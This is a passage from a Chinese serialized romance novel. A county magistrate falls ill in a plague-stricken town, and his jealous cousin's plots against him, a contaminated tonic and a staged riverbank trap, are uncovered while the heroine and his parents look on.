方才抱着人哭的时候叫郎君,用完了叫大人。 “大夫们在研究,很快就会有方子治疗病人。” 阿雪心里的石头落了地。她最相信谢临安,他在她心里几乎无所不能。 “好,麻烦大人了。” 想问的问完了,阿雪便要走。谢临安掀了掀眼皮道:“帕子。” 阿雪恍然想起来,好好的帕子被她弄湿了,总不好直接给他。理智回归,阿雪没忘记对方其实是讨厌她的,兴许安慰也只是顺手的事,他一向是温柔的郎君。 “我洗干净了再还给你,大人,你现在住哪?” …… 回铺子第一件事就是洗帕子,周碧玉看见后道:“上好的料子,绣工也极佳,莲花又比之前厉害了。” “不是莲花的。” 他的帕子本来就干净,洗过之后水依旧清澈,不过阿雪还是过了两遍水。 倒水的时候,察觉到周碧玉的视线,她一脸揶揄的笑。“是谢大人的?” 阿雪没隐瞒的说是,周碧玉笑的欣慰:“你们和好了吧?我就说,谢大人对你情深义重,你们又情投意合,哪有那么容易分开。” 旁观者不是傻子,都能瞧出来谢临安对阿雪的与众不同。 “哪有,他不讨厌我就不错了。” 她骗了他,他怎么可能会喜欢她?就算有喜欢,也是谎言没被揭穿之前。 洗干净之后晾晒在一旁,阿雪开始胡思乱想,为了让自己冷静下来,她开始忙碌起来不让自己闲着。 现在镇子上人心惶恐,大家不敢出门怕被传染,因此买包子馒头的人也少,商铺也大多关着,阿雪的生意受到不小的冲击,可还是坚持开张,能卖多少算多少。 铺子前面走过赵友成几人,阿雪送了刚出锅的包子,临走时候还给装了不少回去,顺道让他们帮忙将帕子带回去。 回到客栈,赵友成把包子往桌子上一放,盯着谢临安笑。 “偷来的?”谢临安放下笔去净手,赵友成还笑嘻嘻。 “人家小娘子特意给你的,临安,旧情复燃了?” 谢临安微微一笑:“吃饱了没事干可以去帮忙熬药。” 赵友成无语。 人家小娘子特意给他带东西,难道不是示好吗? 谢临安一言不发,慢条斯理的用了饭。他吃的不多,松石忙前忙后端茶倒水,想让主子多用一些,本就清瘦的人袍子又宽松了寸许,且日夜不得休息,再这样下去非得病了不可。 走出房间,赵友成和松石商量着:“你主子喜欢**致的玩意,让厨房做饭时候上点心,造型都要弄的好看。” 松石连连点头,这就去吩咐了。 “谢世子是担忧患病百姓们,如此操心劳累,是当地百姓之福气。”说话的是赵友玉,经过这些日子的相处,他越发的崇拜谢临安了,甚至生出一种和谢临安并肩作战的荣誉感。 一直在他们身后的谢康安不言一语。 这些日子他都是如此,赵友成知道是因为不能回京赶考的事情。“秋闱固然重要,可惹出大麻烦很有可能掉脑袋,孰轻孰重你应该拎得清。” “赵世子说的对。”谢康安笑了笑,看起来似乎已经想明白了。 如果不是因为他是谢临安的堂弟,赵友成根本不会搭理他,又提点了一句:“读万卷书不如行万里路,在这里经历的东西远远不是书本能交给你的,或许你会别有体会。” 他们都是豪门世家的孩子,鲜有贴近底层百姓的时候,就连赵友成自己经过这些日子都变了心性,他相信谢康安也会有一番心得。 三个人各自回房,谢康安低垂着脑袋,在关门的那一刹扫向对门,眼睛里的恨意要化成实质。 …… 东山县是疫病最严重的地方,因为谢临安及时关闭了城门,所以疫病被及时控制住,没有广泛散播。 城里由侯爷亲自坐镇,他此行来原本是处理水患,没想到又赶上疫病。 他和侯夫人索性住进衙署里,方便他办理公事。 晚饭时候侯夫人问他谢临安是否来消息了,侯爷道:“今早飞鸽传书,说所有村庄病患都隔离开来,在吃药控制,但维持肯定不是办法,还得早日研究出解疫病的方子。” 侯夫人忧心忡忡:“城里疫病不算严重,外面才闹的厉害,你说临安怎么就想不开非要出去,派人去不也一样处理事情吗?” “他身为父母官去亲自处理也无可厚非,放心,他会照顾好自己。” “我们就这一个孩子,我怎么可能不担心。”自从谢临安出城那日,侯夫人就一直提心吊胆,生怕他出了什么事情。侯爷则是看的开,认为谢临安可以处理好一切。 “在这里呆了这些时日,你也听见百姓们的议论了,他们对新任县令颇为满意和崇拜,临安是个好官。”侯爷说话时一脸欣慰。 侯夫人还是忧心忡忡,她连日休息不好,恨不得离开飞去谢临安身边。 …… 每个人都有其自己担忧的事情,卢家现在虽说房子修好了,但父女俩俱没有高兴的样子。 卢大富知道焦红杏担心家里的生计,于是他进山采蘑菇,每天早出晚归,晚上回来去找焦红杏说会话。 “放心,家里一切都好,今天我还采了不少蘑菇,一会回去就处理好,明个是艳阳天拿出来晒,几天就能晒成干蘑,到时候我用布袋子装好,等冬天石头回来,我们一家子吃。” 卢大富又道:“石头来消息了,说一切都好。” “知道的,阿雪来时候和我说了,”焦红杏露出笑意。 每日来往的人多,里正怕出岔子,便派了人守在这,不许往里送东西了,所以只能隔着门板说话,看不见对方的表情。 不过卢大富能感受到焦红杏是高兴的。 “她说石头在京城过的还不错,正在习武,还说武师傅夸他力气大有天赋,将来一定会是个出色的镖师。” 镖师首先要功夫好,其次要头脑转的快。卢石头太过直愣,但他年纪小,慢慢培养就是。 焦红杏接着又提到女儿。“水灾之前有媒人问过阿雪,可惜了,发生天灾,把咱们女儿给耽误了。” 卢大富不在乎,他说正好多留几年。 焦红杏病情还算稳定,身上只有一处溃烂,会痒和疼,但她最是能忍。阿雪问她,她哄骗说没感觉。 日子照常过,阿雪每日早上去铺子里,晌午最忙时候结束,她就来陪焦红杏说话,日子充实且忙碌,一时没能想起谢临安。 再收到他的消息时,是松石一脸急色的跑来找她。 “卢娘子,麻烦你帮帮我们郎君。” “你说什么?”阿雪脑子发空,脸色惨白问,“你再说一遍,郎君怎么了?” “我们郎君感染疫病了,现在他将自己锁在房间里,不让所有人靠近。” 阿雪心跳声剧烈,整个人发晃,扶着门框才稳住身形。 “他在哪,带我去。” …… 二人疾行,松石声音发哑:“自打水患之后,我们郎君就没睡过一个整觉,日以夜继的处理公事,人瘦了一圈又一圈,后来知道这里疫病严重,他更是不顾自己安危过来,明明做好了措施,不知道怎么就染上了,半夜高热,今早就他就锁住门,不许人进去了。” 阿雪咬着唇不说话,等到了客栈,就见门口站着赵友成他们。 “卢娘子,你快来劝劝他。” 阿雪立刻上前敲门,“郎君,是我。” 屋里没人应声。 赵友成吩咐下去:“告诉大夫快点熬,松石你去等着,药好了立刻端过来。” 谢临安是怕传染给其他人,所以才从里面锁住门。现在他什么情况无人知晓,高热到一定程度,恐怕会昏迷过去。 “若是他再不开门,友玉,你踹门冲进去。” 赵友玉握紧拳头,郑重点头。 阿雪还在敲门:“你先让我们知道现在什么情况好吗?” 里面安安静静,阿雪转头道:“会不会是晕倒了?” 赵友成道:“我也是这样认为,临安不是不分青红皂白之人,他一定是怕昏迷时候有人闯进去而被感染。” 但总这样也不是办法。 阿雪后退几步,先是看了眼走廊,然后提着裙摆就要往外跑。 “卢娘子,你要做什么?” “我从外面窗户翻进去开门,他总得吃药。” 阿雪头也不回的跑了。 赵友成无奈摇头。 “临安做事不出纰漏,窗户肯定也关死了。” 第70章 第70章 不出赵友成所料,窗户也被从里面关上了,阿雪试图打开无果,只能又绕回来。 阿雪比在场的任何人都要着急,松石都要急哭了。“卢娘子,怎么你也叫不开门啊。” 他们这些人都试过,松石还心怀希望,觉得卢娘子对于郎君来说格外与众不同,兴许可以开门,但结果是卢娘子也没用。 松石失望又着急,阿雪也是急迫的,像是热锅上的蚂蚁团团转。赵友成叹了口气,手一招呼:“二弟,你来。” 赵友玉向前,抬起一条腿,作势就要踹,这时听见一阵沉重的脚步声,阿雪及时拦住赵友玉,怕他踹到谢临安。 脚步声在房门前定住,隔着门板,能听见里面的人呼吸有点沉重。高热的人就是如此,嗓子不舒服呼吸也不顺畅,如同破败的老风箱的声音。 大家都屏住呼吸,想听谢临安说什么,阿雪忽然往门板上一扑。 “郎君,你别放弃自己!” 就在方才,阿雪脑子里突然浮现以前在茶楼里听过的故事。 说是有个书生和豪门娘子一见钟情,俩人彼此不知道对方的身份,多次见面后非卿不娶不嫁,可此事被那小娘子家里知道了,派人将书生打个半死。 俩人原本约定了见面的日子,书生因为爬不起来无法赴约,小娘子等了一天又一天,后来有人带来书生的手信,那书生说了不少伤人心的话,俩人恩断义绝。 小娘子情断肠伤,大病一场,转念开春时嫁了人。 时光荏苒,远嫁的小娘子和夫婿带着孩子回家探亲,偶从熟人那里得知书生死了。 “你不知道吗?在你出嫁前的除夕,他就死了!” “怎么死的?好像是病重缠身不得治疗,硬生生拖了许久才去。” 怪不得那时候写了什么诀别信,原来是因为这样。 阿雪伤心的想哭,拍着门板道:“你不要说狠话驱赶我们走,我们大家都不会走的,我也不会走!” 越说阿雪越伤心,尤其是屋里的谢临安呼吸重了几分,似乎在酝酿着什么,阿雪哭哭啼啼。 “就算你说狠话,我们也会当看不见,不管你说什么都得治病,都得喝药。” 阿雪陷入自己的情绪里,没听见谢临安重重的叹息声。 “哭什么,我还没死。” 谢临安声音发哑:“药放在门口,你们所有人退去走道尽头,松石,叫人准备热水也放在门口,我要沐浴。” 顿了顿,他声音软了几分。 “你怎么了来了?松石叫你来的?” 松石缩了缩脖子,不知道是不是惹主子不快。阿雪率先开口:“你怎么样,是不是高热?还有哪里难受,现在身上有溃烂吗?你开门让我进去看看。” “会传染。” 俩人隔着门板,谢临安虽然声音疲惫,但显然照旧有条理,一一安排好之后,再次让他们退走。 赵友成拉着阿雪。“听他的。” 等他们退到廊道的尽头,站定许久之后,才看见探出一只骨节分明的手,将药碗端走。 不待阿雪反应过来,门砰的一声关上了。 谢临安没有自怨自艾,相反,他比任何病人都来的镇定且配合治疗。每天三碗汤药下肚,两日洗一次澡,因为及时喝了药,身上没出现溃烂,就是嗓子一直沙哑着。 阿雪将铺子交给周碧玉,自己开始两头跑。 上午去陪焦红杏,下午去陪谢临安。 谢临安一直在房间里,只有大夫进去过,确认就是被传染了疫病。这天阿雪隔着门板和他说话。“郎君,你不是一直都有防范吗?” 屋里,谢临安坐在拉在门口的椅子上,只穿着棉白里衣的他懒散的靠在那,面色比往日更苍白一些,反而有种仙风道骨之意。 他敲着扶手,神色轻松,那双幽深的眸子盯着映在门板上的倩影看。 听见她发问,谢临安唇角的笑意淡了一些,然后神色如常道:“不小心而已,你出行且注意,戴好面巾。” “知道的,现在街上人不多,而且大家都行色匆匆不敢停留,怕被人传染上。我上午去看我娘,听一个大夫说最近都没有新增的,也就是说外面的百姓都是健康的,我们也安全不会被传染。” “若是身体不舒服立刻找大夫。”谢临安温声道:“城里传了消息,现在方子已经有眉目了,相信很快就能研制出来救百姓们。” 阿雪重重点头,笑吟吟的道:“一定会的,我相信郎君。” 一直守在门边的松石差点笑出声。 大夫研究救人的方子,卢娘子相信他们郎君有什么用啊,该相信大夫才是啊。 聊了好一会,住在附近房间里的赵家兄弟出来,和阿雪打了招呼,赵友玉皱眉低声道:“他还没承认?” 赵友成道:“没有,咬死了和他没关系。” 阿雪有点好奇他们再说什么但不好意思问,也没发现一直和他们在一起的谢康安几日都不见踪影了。 …… 阿雪走后,赵友成过来和谢临安说话。方才还温声言语的郎君像是换了个人,言辞冷淡道:“垂死挣扎罢了。” 赵友成:“他一直不承认是他害的你,这可如何是好?” 镇子里生病的百姓们被里正强行拉走集中在一起,几乎没有患有疫病还在外的百姓,且谢临安多加小心,不可能突然得了疫病。 谢临安高热来的太快,他只来得及将自己锁在房里,待喝完药后他头脑清明不少,抽丝剥茧之后,得出一个结论。 他,不是偶然患病,恐怕是人为。 闭上眼睛仔细回忆这两日的行程,又因为赵友成他们都没事,所以问题只能出在那日松石熬给他的补汤上。 补汤被人动过手脚。 客栈人多手杂,想要查到点什么不容易。谢临安叫松石等人排查在厨房出现过的面孔,赵友成也加入其中,所有人听从谢临安的指挥,但没查到任何线索。 谢临安觉得奇怪。 赵友成他们站在门口汇报情况时,谢临安一直未出声,而谢康安义愤填膺,先是骂了恶人,随后又小心翼翼道:“堂兄,会不会是你出门时候不小心被传染了?” 赵友成琢磨来琢磨去,觉得很有可能。 谢临安淡淡的嗯了一声叫他们回去休息。 当天深夜,赵友成带着赵友玉,堵住了抱着坛子的谢康安。 坛子里面是几片碎布。 很显然,这是患疫病人的东西,谢康安便是用这个来污染谢临安的补汤,让他得病。但谢康安嘴硬不承认,就说是捡到的,正打算去扔。 赵友成来问谢临安怎么办,毕竟谢康安是谢家人。 “关起来。”谢临安半点情面都不留。 谢临安患病的消息原本不打算告诉他父母,但不知道怎么回事,他们竟然知道了,而且赶了过来。 得知消息的谢临安冷笑。 看来还是谢康安搞的鬼。 “他一直想回京,跟着我出来也只是想找机会溜走罢了。”聪慧如谢临安,能轻而易举的猜中谢康安的想法。 “他传我患病的消息回去,也只是想让局势更乱,而且我父亲素来公正,他以为可以通过我父亲达到目的。” 当年就是侯爷的一句话,才让他认祖归宗。谢康安深切知道他自己亲生父亲无用,唯有侯府的话事人侯爷,才有一切事情的决定权。 但谢临安想不通谢康安为何害他,他患病对他有什么好处? 殊不知人性就是如此。 多年以来被谢临安光环笼罩之下,早就造成谢康安扭曲的性子。他学习谢临安的言行举止,彻头彻尾的将自己变成第二个谢临安。越是和谢临安像,收到的称赞就越多,可也造成他的性子越发的压抑扭曲,甚至萌生出这世上没有谢临安就好了的念头。 所以他脑子一热临时做了这个计划,但没想到会被谢临安识破。 可谢康安不怕,因为他知道侯爷来了之后会给他做主,只要他不承认,一切就不是他做的。 侯爷侯夫人到的时候已经是黄昏,他们此行来还带来城里大夫研制出的药方,城中不少百姓正在恢复,疫病算是彻底控制住了。 谢家夫妇立刻来探望谢临安,可惜隔着一道门见不到,说了好一会话他们才回去休息,谢临安问道沿途村庄是否给了方子,谢侯爷道:“全部安排下去了,临安,你好生养着,不出五日便能恢复如常。” 城里的百姓们得知有解药之后全部都欢呼雀跃,阿雪高兴的一晚上没睡着,第二天早早起来去铺子做包子,肉包子和菜包子各五屉,卢家父女和周碧玉三个人,用小推车推车去探望病患。 卢大富高兴的不得了,请守门的衙役吃包子,让他们帮忙将新做好的包子带进去,所有病患都有份。 这边发完,阿雪留了热乎的包子送去客栈,赵友成他们都有份,松石还留了几个,分别送去谢侯爷和侯夫人的房间。 松石还奇怪,他们为何是分房睡,但也没多想。 “这是什么?” 侯夫人指着包子问。 侍候的老嬷嬷有点嫌弃,“粗鄙之物。” 他们侯夫人是什么身份?怎么会吃这种东西?松石是如何办事的?看来她有时间要好好调教他一番。 着急谢临安的事情出行匆忙,并未带厨子过来,所以只能去外面酒楼买。但因为这里刚水灾之后重建,能买到的东西甚少,侯夫人一直都没什么胃口。 闻着香气扑鼻的味道,侯夫人食欲微动,净手之后拿起一个咬了一小口,随后眼眸发亮。 “还不错。” 外皮暄软,肉馅汁水充足香气四溢。 晚上时候,侯夫人吩咐人再去拿包子回来,却被告知并不是客栈厨房做的东西。 “松石从外面买的?” 老嬷嬷面色有点古怪,吞吞吐吐。 侯夫人柔声道:“到底怎么回事,你只管说便是。” “夫人,是卢家那位小娘子做的。” “卢?”侯夫人想起来了,“你是说那个叫卢雪的?” “正是。”老嬷嬷有点恼,“之前她答应的好好的,怎么还出尔反尔了。” 原本老嬷嬷打算再观察一段时间,若那位卢娘子当真离开他们郎君,便按照夫人的吩咐给她五十两,甚至可以多给一些。谁让他们夫人心善呢,从不造业障。 却不想那位卢娘子竟然住在此地,又缠了上来。 “怪不得,”侯夫人似是发现了什么,“临安知道底下有疫病之后,想都没想就来了,我看啊,也和她有干系。” 老嬷嬷观察侯夫人的脸色,见她并没有生气的意思,只是恍然大悟的表情。 “夫人,需不要我……” “他是你看着长大的,临安什么性子你最是清楚,看似温润,实际执拗的厉害,认准了一件事从不回头。就拿他的仕途来说,直接拒绝他父亲安排,靠自己来到偏僻之地当县令,再说卢娘子……” 翌日下午,阿雪来的时候正好碰上侯夫人探望谢临安,她不认识对方却见过老嬷嬷,于是猜测到对方是谢临安的亲人。 质朴单纯的小娘子看着面前美貌动人的女子,面相上和谢临安有五分相像。 “你是……” 侯夫人微笑着等她见礼。 阿雪笑吟吟:“你一定是郎君的阿姐吧!你们长的可真像。” 捂唇轻笑的侯夫人没及时否认,房间内听见动静的谢临安第一次语气无奈的同阿雪说话。 “她是我母亲。” “抱歉抱歉,”阿雪有点慌,“伯母实在是看着太年轻了,我才以为是郎君的阿姐,还请伯母谅解。” 老嬷嬷一脸的不赞同,京城里谁不称呼一句夫人? 阿雪察觉到她的脸色,有点摸不着头脑。 郎君的母亲她称呼为伯母应该是对的……吧? 房间里的谢临安从椅子上站起来,扶额摇头,欲要给阿雪说话时,就听侯夫人笑着道:“我真有那么年轻吗?” 71.72 第71章 第71章 任谁被夸都会觉得心情舒畅,老嬷嬷及时纠正,让阿雪称呼为夫人。 阿雪一脸懵懂的弯腰喊人,末了想起来之前去富商家时见过有人给富商行礼,于是她照葫芦画瓢,动作生涩的行了个晚辈礼。 大抵是因为她生的好看身上又有一股鲜活劲,注意力一般都会放在她脸上,还真没瞧出她行礼动作的不规范。 侯夫人笑了笑,和阿雪说了几句话。 不知道怎么回事,阿雪觉得紧张不已,等从客栈里出来时候,手心都在发潮。 原来那位是郎君的娘,当真是又好看又年轻。 阿雪喜滋滋的回去,到家之后直接吃饭,父女俩俱是喜笑颜开。 “你娘过几日就能回来了。”卢大富夹了一口菜,给自己倒了一碗酒。 自打焦红杏被带走之后,卢大富滴酒未沾,今日高兴就喝了一碗。阿雪也激动,陪着喝了几口。 …… 整个镇子都因为疫病有解药而高兴,除了客栈的一间房里。 谢家夫妇爆发了成亲以来最激烈的争吵。 “你还想让他回京考试?姓谢的,你看好了,现在他在陷害我们的临安!” 簪缨世家出身的侯夫人一向温柔从不大声说话,与丈夫更是举案齐眉相敬如宾,这是她第一次如此言行厉色,胸脯剧烈起伏,足以可见她的气愤。 当时侯夫人着急自己儿子,并没有在意谢康安不在,过了一天之后,她才反应过来没瞧见这个二房的小辈。 不问不知道,一问吓一跳。 她怎么也没想到,谢临安染上疫病,竟然和谢康安有关联。 “事情兴许并不是你想的那样,”谢侯爷眉头紧皱,“我去看了康安,他说不是他。” “他说不是他?简直可笑。你是信临安,还是信他?” “不管什么事情都要讲证据,”谢侯爷义正严词,“何况他们是一脉相承的兄弟,怎么会手足相残。” 谢侯爷抚着桌面坐下,见妻子红眼瞪人,他继续道:“我相信临安,但我也不能平白无故不分证据就处罚谢康安,那样是不公平。” “不公平?”侯夫人冷笑,“姓谢的,你想怎么公平?你难道是想把爵位给谢康安不成?” 在谢侯爷的震惊中,侯夫人声音越发尖利,带着恨意道:“别以为我不知道你做的那些事!” 砰—— 外面有什么声响,侯夫人立刻闭口不谈,谢侯爷则是大步流星的走向门口,猛的打开门,却没瞧见人。 他站在走廊里,看着紧闭的各个房间,猜测方才到底是谁,可想了一会无果,等老嬷嬷回来后,他还数落她玩忽职守没有看好大门。 老嬷嬷端着茶壶满腹委屈,她方才看俩人吵了起来,便想着端茶倒水让他们坐下好好聊。谁料到走了不到一刻钟,就发生了这么多事情。 侯爷摔门离去,侯夫人也面色难看。 第二天阿雪来的时候瞧出来她面色憔悴,还先陪着她说了会话。 每天阿雪都是固定的时辰来,谢临安将窗户开一条缝隙看着天色,心里估算着她该来了,但没听见她说话声音。房门不能开,谢临安便坐在窗户边上,嗅着新鲜的空气,同时观赏天边的景色。 上任之后公事忙碌,这阵子更是忙的日夜颠倒,上次看天都忘了是什么时候。 七月份酷夏时节,天边是最好看的湛蓝色,柔白的云朵似暄软的棉花,聚在一起缓缓移动。 谢临安身体朝后靠在椅背上,少有的心情平静,渐渐闭上眼睛睡着了。 也不知睡了多久,再睁眼时,阿雪还没来。 谢临安微微蹙眉,平静心情被打破,起身开始踱步。 又等了约莫一炷香的时间,谢临安隐隐听见熟悉的声音,他快步来到房门口,虽焦急却没出声,外面阿雪喊了一句:“郎君?” “嗯。” 谢临安声音淡淡,完全瞧不出方才心切的模样。 “你今日身体可好一些了?” 谢侯爷带来的方子已经吃了两副了,按照城里那些病患的情况,五天就会治愈且不会再传染人,但若有溃烂的地方则要慢慢将养着。阿雪想,谢临安应该不太严重,会比其他人恢复的更快。 谁料屋里的人之说还成。 还成? 还成是什么意思呢? 好就是好,不好就是不好啊。 阿雪向前一步,紧紧贴着门,试图看看谢临安的模样。日光透过窗棂,将身材颀长的身影映在门上,阿雪什么都看不见,用可惜的口吻道:“那郎君你说说,现在你身体如何了?” 阿雪的意思是让他看看有没有溃烂的地方,谢临安却是第一时间想岔了,眉梢扬起一个微妙的弧度。 “还算不错。”他道。 被他的前后不通的言语弄的有些发懵,阿雪索性换了问法:“感觉药有用的吧?” “嗯,”谢临安摸了摸胸口,“呼吸顺畅,现在和常人无异。” 阿雪惊喜的敲门,弄出的声响将侯夫人都引了出来,但她没瞧见,还沉浸在欣喜之中。“郎君,那你是不是可以早点出来呢?” 她欢欣的样子做不得假,漂亮的小娘子微微仰着头,露出修长的颈子,侧颜生的也好看,就是打扮的过于素净了。 侯夫人转头问老嬷嬷:“我那对珍珠耳坠带了吗?” 老嬷嬷吃惊,“夫人,您的意思是……送给卢娘子?” “临安在家书里写过非她不娶,你觉得谁能阻止他?从小到大都有自己的心思,我若是不随了他的愿,他也会想办法促成这桩婚事。” 刚开始老嬷嬷还没想通,到底怎么能绕过父母之命媒妁之言成亲,但忽然想到,他们大郎是太子伴读,他甚至可以直接进宫请命。 到时候一桩圣旨下来,不愿意也得愿意。 老嬷嬷不懂官场之道,但也听谢侯爷提过现在侯府树大招风,说是到时候给他们世子挑一门不显然的亲事。瞧瞧,现在他自己挑的岂止是不显眼,简直是看不进眼啊! 作为侯夫人的陪房,老嬷嬷觉得自己合该好生劝慰。“夫人,但卢娘子的身份……” 侯夫人鼻梁,“是我糊涂了,罢了,再等等。” …… 五天之后,按理说被关起来的人就该放还回家,但里正认为此事有待商榷。 “万一还是会传染怎么办?” 门口聚集了一堆等着接人的百姓,里正安抚大家说还要再等五天,否则闹大了之后连累的是他们自己。 百姓们有不同意的,闹了起来,但最后还是被里正劝服。阿雪挤在人群里,也是一脸失望。 她手里还拎着包裹,是给焦红杏带的新衣服,除此之外还有一把艾草,到时候点燃放在身边熏一熏,代表除秽迎新。 “爹,娘今天不会出来了,对吗?” 卢大富心里也不好受,但他明白里正的担忧。“没关系,再等等。” 另一边的谢临安已经让大夫看过了,他年轻身体好没感染两天就吃了解药,所以比一般人恢复的更快。大夫确定他无事,再喝三天的汤药巩固效果就好。 侯夫人一脸激动,谢侯爷点点头,露出欣慰的神色。 原本谢临安要出去看情况,被谢侯爷拦住,直接和他说:“你好生休息,这里有我。” “多谢父亲。” 谢侯爷去处理公事,回来之后又和谢临安说了现在的情况。城里已经控制住了,就剩下底下严重的几个小村镇。 “此事算是告一段落,待明日我就和你母亲还有四郎,一起启程回京。” “父亲,那件事你应该知道了吧,”谢临安看着侯爷,“该如何处置谢康安?” 从松石口中得知,自打侯爷来了之后谢康安就被放出来了。他这个父亲看似严厉,实际走的是中庸之道。在朝为官时中庸,回到家也要求中和平衡。 “当时他跟着赵家那个来这,就是为了探望你,说到底你们是手足兄弟,他……” “父亲,”谢临安打断了他的话,抬起眼睛,毫无波澜道:“为君子者不做奸佞之事,这不是从小你就告诉我的道理吗?” 人证物证俱在,只凭谢康安一句否认,也不能揭过他做下的事。 “碰巧解疫病的方子研制出来了,父亲,倘若没有方子?倘若我现在已经全身溃烂躺在床上昏迷不醒?倘若……” “够了。”谢侯爷皱着眉头,“事情并不是你想的那样,临安,他并非有意。” 谢临安面色冷了下去。 都已经这个时候了,他父亲竟然还帮着二房的人说话。谢侯爷继续道:“他今年要下场考试,现在莫要让他心里动荡,待考试结束之后,为父会给你一个交代。” 秋闱可谓是人生大事,这也是为什么谢侯爷一直坚持要带谢康安回去。 …… 谢临安现在可以见人,但最好不要吹风,因此没出客栈,静静的等待阿雪。 这些日子她雷打不动的来看他,时间也不长,可不知道为何,有种地久天长之感。 太阳快落山时,阿雪没来。 一股烦躁之意充斥着谢临安的胸膛,他揉着额角,松石送来汤药,苦涩的药味弥漫,松石道:“知道郎君这几日休息不好,夫人特意嘱咐大夫在汤药里加了安眠的药材,郎君,水在这。” 药不好喝。 何况是一大碗褐黑的药汁。 谢临安一天要喝三大碗,胃里都是药,所以吃不下多少东西。不出去也是好事,他现在体力不支,喝完药出了汗,松石送来沐浴的水,谢临安洗过之后更觉得浑身发疲,擦拭干净换好寝衣,倒头睡在了床榻上。 日落西山,屋内未点亮昏昏暗暗。 谢临安听见有人叫他。 迷糊之间,看见松石一脸急色,身后还跟着谢康安。 他们的声音像是隔了一层薄膜听不清,只隐约听见“阿雪”的名字。 谢临安起身时身体在摇晃,松石拿着衣服侍候他穿上,担心道:“郎君,要不我去吧?” 谢临安眼皮沉重有些说不出话,他抬了抬手,松石看懂是让他不必再说的意思。 待穿好衣服后,谢临安喝了半盏凉茶,头脑清醒下来,边跨步往外走边听松石禀告。 原来是侯夫人带走阿雪,但俩人似乎发生了什么争执,然后双双不知去向。此事既有谢临安的母亲,又有他的心上人,松石不敢耽误立刻来禀告。而谢康安说他看见过她们,于是让他在前面带路。 黑夜降临,原本因为水灾和疫病而变得萧条的小镇暗黑一片,偶有灯盏散发着微弱的光亮,将几个人的身影拉长映在墙上,犹如深夜行走的鬼魅。 来到一处岔路口,谢康安有点捉摸不定了。“我记得好像往右边去了。” 夏季夜晚的风也是炙热的,吹的谢临安越发头昏脑涨。他面色不好手扶着墙,嘱咐松石道:“回去叫人。” 松石不放心道:“可是郎君身边就没人了啊。” “去。”谢临安喘了一口气,松石最是了解他,郎君让做什么都有自己的考量。 这时候谢康安突然开口道:“不如我回去叫人,松石,你照顾好堂兄。” 松石觉得这不失为一个好办法,他可以照顾他们郎君。 这边,谢康安走了一段路后回过头,见那边主仆二人已经消失在暗色里。他笑了一下,直冲冲的往回走,却没回客栈,反而是找茶楼坐下,老神自在的听起了说书人讲故事。 第72章 第72章 因着疫病的事情,茶楼里的客人不多,零零散散坐了四五桌,点上一壶最便宜的茶便能听故事。百姓为了生存照旧做事,哪怕只是为了一点点茶水钱。说书先生也照旧讲他的故事。 谢康安点了一壶碧螺春,还叫伙计上了几份茶点。 “客官,您的茶点。”伙计弯腰将茶点放好,末了又多放了一叠,摆放整齐后笑呵呵道:“这份牛舌饼是赠您的,东西齐了,请慢用。” 谢康安心情大好,从袖子里排出一把铜钱作赏,那伙计喜笑颜开,说了不少讨喜的话。 靠在椅子上,悠哉的听了一个老掉牙的故事,廉价茶点似乎都变得美味,他用了几块。 约莫一个时辰之后,谢康安才起身往客栈方向去。 到了客栈之后就看见衙署的一个捕快面上焦急,谢康安快走两步故作急色道:“可有看见赵家两位郎君?我找他们有急事。” 那捕快有点发懵:“没看见啊。” 谢康安心里有数了。 早在离开之前他便知道赵友成和赵友玉出去吃酒了,按照赵友成的性子,起码要吃一个多时辰,现在肯定不会回来。而谢侯爷在外面忙着百姓的事情不在客栈,侯夫人就不必说了,她也不在。 谢康安说看见她和阿雪在一起是真的,但二人并没有消失不见,只是一起去了镇子的绣庄而已。 绣庄在镇子的东边,谢康安却领着谢临安去了西边。水灾刚过,镇子修复的不算完善,西边尽是废墟不说,还有一条满是浑水的小河。 他也没做什么坏事,谢康安想,他只是拿了一只女子的鞋放在河边,恰好那处地方暄软,一踩入就会半条腿陷进去,然后被湍急的水流冲走。 他没做坏事,谢康安再次于心中重复,何况谢临安本就欠他的。 调整好面上的表情后,谢康安本想假意出门寻谢临安,但余光瞥见谢临安房间亮着。 他回来了?不能,应该是侯夫人回来了。 现在天黑露重,如果侯夫人一个弱女子去了那河边…… 谢康安调转脚尖,朝着房间去了,敲了几下门,听见里面一道女声说进。 “不好了夫人!”方才面色平静的谢康安此刻慌忙失措的跑进来,屋里坐着的侯夫人和阿雪俱是吓了一跳,待谢康安说完之后,阿雪如一阵风似的冲了出去。 侯夫人紧随其后,谢康安刚开始还跟着,待指明方向后,他脚步缓了下来,然后朝着她们的背影喊道:“我去喊人帮忙!” 不知道前面的人是没听见还是没时间作答,没一会就彻底消失在夜色里。 这次,谢康安真是去找人帮忙了。 他故意先去找了赵家兄弟。赵友成喝醉了,赵友玉勉强算清醒,立刻意识到有危险,说必须通知谢侯爷。 等找到谢侯爷的时候,又过去了两刻钟。 他们迅速赶往西边,果然没瞧见谢临安他们的影子,一路往西走,来到那条河边,不出所料的没看见女子的鞋。 想到谢临安他们所有人被水冲走,有那么一瞬间,谢康安手脚冰凉,但也只是一瞬罢了。他拎着灯笼状似在找人,还大喊谢临安的名字。 “侯爷,捡到了这个。”一个侍从拎着一个沾满泥污的帕子过来,借着昏黄的光亮,隐约能瞧见帕子一角绣着青竹,那正是谢临安常用帕子的样式。 “在哪找到的?” “在河边泥泞处,那地方水流急,若是天黑时没瞧见……” 谢侯爷面色发沉,拿着帕子作势就要往河边去。 谢康安故意道:“难道堂兄为了找人不小心掉进河里了?” 谢侯爷立刻下令让所有人沿着河边寻找。 就在这时,有一道清润的声音道:“你希望我掉进去?” 谢康安面色大变,谢侯爷则是带着喜色回头:“临安,你没事!” 天色太暗,所有人都没看见树后站着几个人,为首的正是谢临安。 他缓步而来,跳跃的光亮映在他的眸子里,暗色如潮涌的眼眸盯着谢康安,一字一句道:“怎么不说话?这不正是你所期望的吗?谢康安,你处心积虑的骗我来,难道就没有其他后手?” 如果是谢临安,他有无数种方法将此事做的漂亮。 “你就没想过,如果我并没有掉下去,你的计划不就落空了吗?” “我不知道你在说什么。”谢康安面色不好,但他咬定了自己什么都没做。 和那次害谢临安染上疫病一模一样的嘴硬。 “你骗我说母亲和阿雪不见了,明明她们去了镇子东边,但你引到我来到西边找人,还留下东西当陷阱,想让我走到河边从而失足掉下去,对吗?” “我不知道你在说什么,堂兄,我真看见夫人和卢娘子一起走了,但天太黑我可能没看清她们走的方向,而且堂兄你来这边找人时我并没有过来,是回客栈找人帮忙了啊,也不知道你说的什么女子绣鞋。” 谢侯爷皱眉,谢康安才意识到自己说错了话。 “帮忙?”谢临安微微一笑,突然拍了拍手。 “赵友成,出来。” 